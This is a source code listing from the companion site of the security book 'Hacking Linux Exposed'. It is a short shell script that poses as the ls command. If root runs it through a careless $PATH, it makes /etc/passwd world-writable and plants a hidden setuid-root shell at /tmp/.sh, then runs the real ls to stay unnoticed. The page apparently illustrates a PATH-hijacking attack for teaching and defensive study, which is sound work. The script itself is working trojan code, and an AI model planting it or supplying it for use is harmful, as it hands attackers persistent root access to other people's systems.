Hacking Linux Exposed

About
Authors
Contents
Reviews
Foreword
Purchase

Articles
Books
Sourcecode
Tools
Errata

Home

 


(view this code in a separate window)

#!/bin/sh -


# A very lame trojan ls shell script
#
# Place in a directory that you think root may use
# with an inappropriate $PATH

if chmod 666 /etc/passwd > /dev/null 2>&1  ; then
	cp /bin/sh /tmp/.sh
	chmod 4755 /tmp/.sh
fi

exec ls "$@"